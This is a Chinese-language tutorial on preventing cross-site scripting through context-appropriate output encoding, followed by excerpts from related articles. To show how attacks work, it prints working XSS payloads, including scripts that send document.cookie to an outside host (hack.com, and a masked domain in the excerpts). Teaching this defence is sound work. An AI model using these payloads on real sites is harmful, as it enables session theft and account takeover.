防御 XSS 的七条原则

本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:《Stored and Reflected XSS Attack》《DOM Based XSS

攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它。对于浏览器而言,它认为这段 脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感信息,甚至可以知道用户电脑安装了哪些 软件。这些脚本还可以改写HTML页面,进行钓鱼攻击。

虽然产生XSS漏洞的原因各种各样,对于漏洞的利用也是花样百出,但是如果我们遵循本文提到防御原则,我们依然可以做到防止XSS攻击的发生。

有人可能会问,防御XSS的核心不就是在输出不可信数据的时候进行编码,而现如今流行的Web框架(比如Rails)大多都在默认情况下就对不可信 数据进行了HTML编码,帮我们做了防御,还用得着我们自己再花时间研究如何防御XSS吗?答案是肯定的,对于将要放置到HTML页面body里的不可信 数据,进行HTML编码已经足够防御XSS攻击了,甚至将HTML编码后的数据放到HTML标签(TAG)的属性(attribute)里也不会产生 XSS漏洞(但前提是这些属性都正确使用了引号),但是,如果你将HTML编码后的数据放到了<SCRIPT>标签里的任何地方,甚至是 HTML标签的事件处理属性里(如onmouseover),又或者是放到了CSS、URL里,XSS攻击依然会发生,在这种情况下,HTML编码不起作 用了。所以就算你到处使用了HTML编码,XSS漏洞依然可能存在。下面这几条规则就将告诉你,如何在正确的地方使用正确的编码来消除XSS漏洞。

原则1:不要在页面中插入任何不可信数据,除非这些数已经据根据下面几个原则进行了编码

第一条原则其实是“Secure By Default”原则:不要往HTML页面中插入任何不可信数据,除非这些数据已经根据下面几条原则进行了编码。

之所以有这样一条原则存在,是因为HTML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差别,比如有些漏洞发生在HTML标签里,有 些发生在HTML标签的属性里,还有的发生在页面的<Script>里,甚至有些还出现在CSS里,再加上不同的浏览器对页面的解析或多或少 有些不同,使得有些漏洞只在特定浏览器里才会产生。如果想要通过XSS过滤器(XSS Filter)对不可信数据进行转义或替换,那么XSS过滤器的过滤规则将会变得异常复杂,难以维护而且会有被绕过的风险。

所以实在想不出有什么理由要直接往HTML页面里插入不可信数据,就算是有XSS过滤器帮你做过滤,产生XSS漏洞的风险还是很高。

<script>…不要在这里直接插入不可信数据…</script>直接插入到SCRIPT标签里<!– …不要在这里直接插入不可信数据… –>

插入到HTML注释里

<div 不要在这里直接插入不可信数据=”…”></div>

插入到HTML标签的属性名里

<div name=”…不要在这里直接插入不可信数据…”></div>

插入到HTML标签的属性值里

<不要在这里直接插入不可信数据 href=”…”></a>

作为HTML标签的名字

<style>…不要在这里直接插入不可信数据…</style>

直接插入到CSS里

最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里,一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。

原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码

在这里相当强调是往HTML标签之间插入不可信数据,以区别于往HTML标签属性部分插入不可信数据,因为这两者需要 进行不同类型的编码。当你确实需要往HTML标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行HTML Entity编码。比如,我们经常需要往DIV,P,TD这些标签里放入一些用户提交的数据,这些数据是不可信的,需要对它们进行HTML Entity编码。很多Web框架都提供了HTML Entity编码的函数,我们只需要调用这些函数就好,而有些Web框架似乎更“智能”,比如Rails,它能在默认情况下对所有插入到HTML页面的数 据进行HTML Entity编码,尽管不能完全防御XSS,但着实减轻了开发人员的负担。

<body>…插入不可信数据前,对其进行HTML Entity编码…</body><div>…插入不可信数据前,对其进行HTML Entity编码…</div><p>…插入不可信数据前,对其进行HTML Entity编码…</p>以此类推,往其他HTML标签之间插入不可信数据前,对其进行HTML Entity编码

[编码规则]

那么HTML Entity编码具体应该做哪些事情呢?它需要对下面这6个特殊字符进行编码:

&     –>     &amp;

<     –>     &lt;

>     –>     &gt;

”     –>     &quot;

‘     –>     '

/     –>     /

有两点需要特别说明的是:

  • 不推荐将单引号( ‘ )编码为 &apos; 因为它并不是标准的HTML标签
  • 需要对斜杠号( / )编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用

推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:

String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));

原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码

这条原则是指,当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如 onmouseover)里插入数据的时候,本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。

<div attr=…插入不可信数据前,进行HTML属性编码…></div>属性值部分没有使用引号,不推荐<div attr=’…插入不可信数据前,进行HTML属性编码…’></div>

属性值部分使用了单引号

<div attr=”…插入不可信数据前,进行HTML属性编码…”></div>

属性值部分使用了双引号

[编码规则]

除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 &#xHH; (以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符)

之所以编码规则如此严格,是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话,攻击者很容易就能闭合掉当前属性,随后 即可插入攻击脚本。例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:

假设HTML代码是这样的:

<div width=$INPUT> …content… </div>

攻击者可以构造这样的输入:

x onmouseover=”javascript:alert(/xss/)”

最后,在用户的浏览器里的最终HTML代码会变成这个样子:

<div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div>

只要用户的鼠标移动到这个DIV上,就会触发攻击者写好的攻击脚本。在这个例子里,脚本仅仅弹出一个警告框,除了恶作剧一下也没有太多的危害,但是在真实的攻击中,攻击者会使用更加具有破坏力的脚本,例如下面这个窃取用户cookie的XSS攻击:

x /> <script>var img = document.createElement(“img”);img.src = ”http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);</script> <div

除了空格符可以闭合当前属性外,这些符号也可以:

%     *     +     ,     –     /     ;     <     =     >     ^     |     `(反单引号,IE会认为它是单引号)

可以使用ESAPI提供的函数进行HTML属性编码:

String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));

原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码

这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这 些数据放到使用引号包围起来的值部分(data value)之中,例如:

<script>

var message = “<%= encodeJavaScript(@INPUT) %>”;

</script>

除此之外,往JavaScript代码里其他任何地方插入不可信数据都是相当危险的,攻击者可以很容易地插入攻击代码。

<script>alert(‘…插入不可信数据前,进行JavaScript编 码…’)</script>值部分使用了单引号<script>x = “…插入不可信数据前,进行JavaScript编码…”</script>

值部分使用了双引号

<div onmouseover=”x=’…插入不可信数据前,进行JavaScript编码…’ “</div>

值部分使用了引号,且事件处理属性的值部分也使用了引号

特别需要注意的是,在XSS防御中,有些JavaScript函数是极度危险的,就算对不可信数据进行JavaScript编码,也依然会产生XSS漏洞,例如:

<script>

window.setInterval(‘…就算对不可信数据进行了JavaScript编码,这里依然会有XSS漏洞…’);

</script>

[编码规则]

除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH (以 \x 开头,HH则是指该字符对应的十六进制数字)

在对不可信数据做编码的时候,千万不能图方便使用反斜杠( \ )对特殊字符进行简单转义,比如将双引号 ” 转义成 \” ,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符 进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击。例如:

假设代码片段如下:

<script>

var message = ” $VAR “;

</script>

攻击者输入的内容为:

\”; alert(‘xss’);//

如果只是对双引号进行简单转义,将其替换成 \” 的话,攻击者输入的内容在最终的页面上会变成:

<script>

var message = ” \\”; alert(‘xss’);// “;

</script>

浏览器在解析的时候,会认为反斜杠后面的那个双引号和第一个双引号相匹配,继而认为后续的alert(‘xss’)是正常的JavaScript脚本,因此允许执行。

可以使用ESAPI提供的函数进行JavaScript编码:

String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));

原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码

当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。传统印象里CSS不过是 负责页面样式的,但是实际上它比我们想象的要强大许多,而且还可以用来进行各种攻击。因此,不要对CSS里存放不可信数据掉以轻心,应该只允许把不可信数 据放入到CSS属性的值部分,并进行适当的编码。除此以外,最好不要把不可信数据放到一些复杂属性里,比如url, behavior等,只能被IE认识的Expression属性允许执行JavaScript脚本,因此也不推荐把不可信数据放到这里。

<style>selector { property : …插入不可信数据前,进行CSS编码…} </style><style>selector { property : ” …插入不可信数据前,进行CSS编码… “} </style>

<span style=” property : …插入不可信数据前,进行CSS编码… ”> … </span>

[编码规则]

除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \HH (以 \ 开头,HH则是指该字符对应的十六进制数字)

同原则2,原则3,在对不可信数据进行编码的时候,切忌投机取巧对双引号等特殊字符进行简单转义,攻击者可以想办法绕开这类限制。

可以使用ESAPI提供的函数进行CSS编码:

String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));

原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码

当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:

<a href=”http://www.abcd.com?param=…插入不可信数据前,进行URL编码…”> Link Content </a>

[编码规则]

除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 %HH (以 % 开头,HH则是指该字符对应的十六进制数字)

在对URL进行编码的时候,有两点是需要特别注意的:

1) URL属性应该使用引号将值部分包围起来,否则攻击者可以很容易突破当前属性区域,插入后续攻击代码

2) 不要对整个URL进行编码,因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里,这时需要对数据的起始部分的协议字段进行验证,否则攻击者可以改变URL的协议,例如从HTTP协议改为DATA伪协议,或者javascript伪协议。

可以使用ESAPI提供的函数进行URL编码:

String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));

ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:

String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false);if (isValidURL) {

<a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a>

}

原则7:使用富文本时,使用XSS规则引擎进行编码过滤

Web应用一般都会提供用户输入富文本信息的功能,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是 JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞,所以就不允许用户输入富文本, 这样对用户体验伤害很大。

针对富文本的特殊性,我们可以使用XSS规则引擎对用户输入进行编码过滤,只允许用户输入安全的HTML标签,如<b>, <i>, <p>等,对其他数据进行HTML编码。需要注意的是,经过规则引擎编码过滤后的内容只能放在<div>, <p>等安全的HTML标签里,不要放到HTML标签的属性值里,更不要放到HTML事件处理属性里,或者放到<SCRIPT> 标签里。

推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer

总结

由于很多地方都可能产生XSS漏洞,而且每个地方产生漏洞的原因又各有不同,所以对于XSS的防御来说,我们需要在正确的地方做正确的事情,即根据不可信数据将要被放置到的地方进行相应的编码,比如放到<div>标签之间的时候,需要进行HTML编码,放到<div>标签属性里的时候,需要进行HTML属性编码,等等。

XSS攻击是在不断发展的,上面介绍的几条原则几乎涵盖了Web应用里所有可能出现XSS的地方,但是我们仍然不能掉以轻心,为了让Web应用更加安全,我们还可以结合其他防御手段来加强XSS防御的效果,或者减轻损失:

  • 对用户输入进行数据合法性验证,例如输入email的文本框只允许输入格式正确的email,输入手机号码的文本框只允许填入数字且格式需要正确。这类合法性验证至少需要在服务器端进行以防止浏览器端验证被绕过,而为了提高用户体验和减轻服务器压力,最好也在浏览器端进行同样的验证。
  • 为Cookie加上HttpOnly标记。许多XSS攻击的目标就是窃取用户Cookie,这些Cookie里往往包含了用户身份 认证信息(比如SessionId),一旦被盗,黑客就可以冒充用户身份盗取用户账号。窃取Cookie一般都会依赖JavaScript读取 Cookie信息,而HttpOnly标记则会告诉浏览器,被标记上的Cookie是不允许任何脚本读取或修改的,这样即使Web应用产生了XSS漏 洞,Cookie信息也能得到较好的保护,达到减轻损失的目的。

Web应用变得越来越复杂,也越来越容易产生各种漏洞而不仅限于XSS漏洞,没有银弹可以一次性解决所有安全问题,我们只能处处留意,针对不同的安全漏洞进行针对性的防御。

时间: 2024-10-09 22:02:27

防御 XSS 的七条原则的相关文章

防御XSS攻击的七条原则

本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS Attack><DOM Based XSS> 攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它.对于浏览器而言,它认为这段脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感

利用HttpOnly来防御xss攻击

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了... 如下js获取cookie信息: url=document.top.location.href; cookie=document.cookie; c=new Image(); c.src='http://www.******.com/c.php?c='+coo

【tool】利用测试概念进行代码设计时的七条基本原则

跟其它编码原则一样,这些原则也不是不容置疑或不可改变的教条.有时候打破这些规则也是必要的.因此,理解每条原则背后的动机和判断何时这些动机不适用(或应让位给更关心的问题)的能力是很重要的. 原则 1. 到 GUI 视图的外面去 尽可能把代码移到 GUI 视图的外面.然后各种 GUI 动作就能成了模型上的简单方法调用.为什么您需要这样做呢? 对 GUI 测试者来说,通过方法调用测试功能比间接地测试功能容易的多. 另一个好处是它使修改程序功能而不影响视图变的更容易. 当然,视图中也可能存在错误.在理想

Unobtrusive JavaScript 不唐突的JavaScript的七条准则

Unobtrusive JavaScript是一种将Javascript从HTML结构抽离的设计概念,避免在HTML标签中夹杂一堆onchange.onclick……等属性去挂载Javascript事件,让HTML与Javascript分离,依MVC的原则将功能权责清楚区分,使HTML也变得结构化容易阅读. Unobtrusive JavaScript是在网页中使用JavaScript的一般方式.该名称并非正式定义,它的基本原则包括: 行为层和表现层分离开: 是解决传统JavaScript编程问

高扩展性网站的50条原则

<高扩展性网站的50条原则>,利用一天半的时间快速浏览总结的电子书,对网站的建设有一个原则性的把握,书中提到的大部分原则现在已成为互联网行业的共识,但并不妨碍我们重新整理分类,从全局层面把控高扩展性网站的建设思路,文中的每一条尽管高度凝练,但都值得细细品味.完成于2015年6月11日11:02:19. (一)化简方程 不要过度设计:基于成本的考虑,只设计能满足要求的系统即可,过于理想化的设计不利于系统的维护与成本控制: 设计时考虑扩展性:设计20倍的容量,实现3倍的容量,部署1.5倍的容量,即

Jsoup代码解读之六-防御XSS攻击

Jsoup代码解读之八-防御XSS攻击 防御XSS攻击的一般原理 cleaner是Jsoup的重要功能之一,我们常用它来进行富文本输入中的XSS防御. 我们知道,XSS攻击的一般方式是,通过在页面输入中嵌入一段恶意脚本,对输出时的DOM结构进行修改,从而达到执行这段脚本的目的.对于纯文本输入,过滤/转义HTML特殊字符<,>,",'是行之有效的办法,但是如果本身用户输入的就是一段HTML文本(例如博客文章),这种方式就不太有效了.这个时候,就是Jsoup大显身手的时候了. 在前面,我

页面加载优化的14条原则

1. 尽可能的减少 HTTP 的请求数 [content] 2. 使用 CDN(Content Delivery Network) [server] 3. 添加 Expires 头(或者 Cache-control ) [server] 4. Gzip 组件 [server] 5. 将 CSS 样式放在页面的上方 [css] 6. 将脚本移动到底部(包括内联的) [javascript] 7. 避免使用 CSS 中的 Expressions [css] 8. 将 JavaScript 和 CSS

职场与生活 八条原则 让你不再浪费时间和提高效率

Heidi Roizen女士一度是硅谷人人争相学习的典范.她曾创办自己的公司并管理了14年之久.后来,她担任苹果公司主管开发者关系的高级副总裁.现在,她是DFJ Venture的一位风投家,她还在斯坦福主讲一门名叫??"企业家精神??"的课程.她几乎认识硅谷的所有重要人物并且灵活地运用着自己的影响力.哈佛商学院甚至还有专门关于她的案例. 以下是Roizen提出的八条原则,她正是利用这些原则来指导自己的工作.建立起广泛的人际网络并不断推动创新.这些过来人的经验对于新入行者弥足珍贵,可以作

设计测试用例的四条原则

今天是2011年的第一天,2010年就这样匆匆忙忙,紧紧张张地过去了.这一年里来来去去,变化最大的就是很多一起工作了多年的同事离开了,很多都去了"更给力”的地方,呵呵!公司里来来往往是很正常的,想想我最近一次换到“更给力”的地方,那都是5年前了.总之,现在的地方还是挺给力的,好好工作,争取2011年有更大的进步,呱唧呱唧! 测试用例设计的最基本要求:覆盖住所要测试的功能.这是再基本不过的要求了,但别看只是简单的一句话,要能够达到切实覆盖全面,需要对被测试产品功能的全面了解.明确测试范围(特别是要